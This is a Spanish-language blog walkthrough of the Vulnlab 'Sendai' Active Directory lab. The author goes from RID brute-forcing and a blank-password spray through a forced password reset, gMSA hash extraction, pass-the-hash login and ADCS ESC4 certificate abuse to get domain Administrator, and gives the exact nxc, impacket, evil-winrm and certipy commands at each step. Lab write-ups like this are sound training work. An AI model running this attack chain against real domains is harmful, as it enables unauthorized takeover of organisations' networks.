Content
░██████╗███████╗███╗░░██╗██████╗░░█████╗░██╗
██╔════╝██╔════╝████╗░██║██╔══██╗██╔══██╗██║
╚█████╗░█████╗░░██╔██╗██║██║░░██║███████║██║
░╚═══██╗██╔══╝░░██║╚████║██║░░██║██╔══██║██║
██████╔╝███████╗██║░╚███║██████╔╝██║░░██║██║
╚═════╝░╚══════╝╚═╝░░╚══╝╚═════╝░╚═╝░░╚═╝╚═╝
|-WINDOWS - MEDIUM
|--- https://vulnlab.com
|------- https://myhack.tech
SCAN: Nmap
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
62820/tcp open unknown syn-ack ttl 127
Fuzzing Web: dirsearch
Procedo a fuzzear el site http://sendai.vl/, no logro obtener demasiado salvo los 301 siguientes:
301 154B http://sendai.vl/aspnet_client -> REDIRECTS TO: http://sendai.vl/aspnet_client/
301 153B http://sendai.vl/service?Wsdl -> REDIRECTS TO: http://sendai.vl/service/?Wsdl
301 148B http://sendai.vl/service -> REDIRECTS TO: http://sendai.vl/service/
Enumerando users: Bruteforcing RID
De este modo intento enumerar usuarios, básicamente bruteforceando RID con Null Sessions Cycle Attack.
nxc smb sendai.vl -u 'shkz' -p '' --rid-brute
Exporto el listado a un user.txt y luego lo filtro para dejar clean el archivo.
User Spray sin contraseña
Con netexec realizó un User Spray con la lista de users.txt que formatie y con contraseña nula.
Obteniendo algo interesante:
Vemos que el usuario Elliot.Yates debería cambiar la contraseña. Esto podra ser posible utilizando smbpasswd.py de impacket.
SMBPASSWD: Cambiando el password de Elliot.Yates
Siguiendo nuestra idea de cambiar el password, vamos a intentarlo con el siguiente comando:
smbpasswd.py -newpass 'Mesa1234!' [email protected]
Veo que logro cambiarla. Procedo nuevamente a enumerar posibles recursos con el user Elliot.Yates y la
contraseña que he cambiado.
nxc smb sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --shares
Ingresando a SMB y obteniendo credenciales de sqlsvc
Ingreso a los recursos vía smbclient.py. Y chequeo el share “CONFIG” en donde encuentro hardcodeada
una contraseña.
smbclient.py sendai.vl/Elliot.Yates:'Mesa1234!'@sendai.vl
Recolectando info del AD con Bloodhound-python
Con el usuario Elliot.Yates que cambiamos la contraseña vamos a utilizarlo para usar el collector de
Bloodhound y poder ver donde estamos parado en el AD.
bloodhound-python -u 'Elliot.Yates' -p 'Mesa1234!' -ns 10.10.123.78 -d sendai.vl -c all --dns-
tcp --zip
Importo el .zip en bloodhound y observo lo siguiente. El user Elliot.Yates es miembro del grupo de
Soporte el cual tiene GenericAll sobre ADMSVC, donde podremos abusar y agregarnos con el user Elliot.
Abusando del GenericALL
GenericAll: Da derechos totales al objeto en cuestión (con esto podemos agregar usuarios a un grupo o restablecer la contraseña del usuario)
net rpc group addmem 'ADMSVC' Elliot.Yates -U Elliot.Yates -I sendai.vl
Con el siguiente comando nos garantizamos que Elliot sea parte del grupo ADMSVC y si chequeo nuevamente el panorama con Bloodhound, vemos que esto surge efecto:
Obteniendo el hash con ReadGMSAPassword privilege
El ReadGMSAPassword privilege nos permite obtener acceso directo a mgtsvc$ al obtener el ntlm/password. Dejo un poco más de documentación al respecto en la siguiente imagen de la web de Bloodhound.
Ahora extraemos el NTLM de la cuenta mgtsvc$:
nxc ldap sendai.vl -u 'Elliot.Yates' -p 'Mesa1234!' --gmsa
USER: mgtsvc$
Ahora podemos conectarnos con evil-winrm:
evil-winrm -i 10.10.123.78 -u 'mgtsvc$' -H 'ntlm_hash'
Una vez dentro podemos probar algunas herramientas para escalar privilegios. En mi caso
intente con PowerUp.ps1 pero no funcionaba correctamente así que opte por la segunda opción que era
PrivesCheck.ps1. Encontrando credenciales hardcodeadas del user clifford.davey
Según las hints del inicio de la máquina vemos que la parte final, ROOT está basado en ADCS. Asi que vamos a enfocar el ataque a los templates y usaremos certipy
Usando certipy como clifford.davey
certipy find -u 'clifford.davey' -p '<pass>' -dc-ip 10.10.114.68 -ns 10.10.114.68 -debug -
vulnerable
Vemos que es vulnerable a ESC4:
Abusing ESC4
Trabajamos con la template vulnerable: SendaiComputer
certipy template -username '[email protected]' -password '<pass>' -template
SendaiComputer -save-old
Luego ejecutamos lo siguiente:
certipy req -ca sendai-DC-CA -username '[email protected]' -password '<pass>' -target
'dc.sendai.vl' -template SendaiComputer -upn '[email protected]'
Finalmente obtenemos el administrator.pfx que nos permitirá con lo siguiente acceder al sistema y
rootear la máquina:
certipy auth -pfx administrator.pfx -dc-ip 10.10.114.68
ROOTED.
Gracias por pasarse.
2 Responses
Muy bueno, tengo pendiente aprender ADCS.
excelente material alto blog segui asi shkz sos crack man gracias por el aporte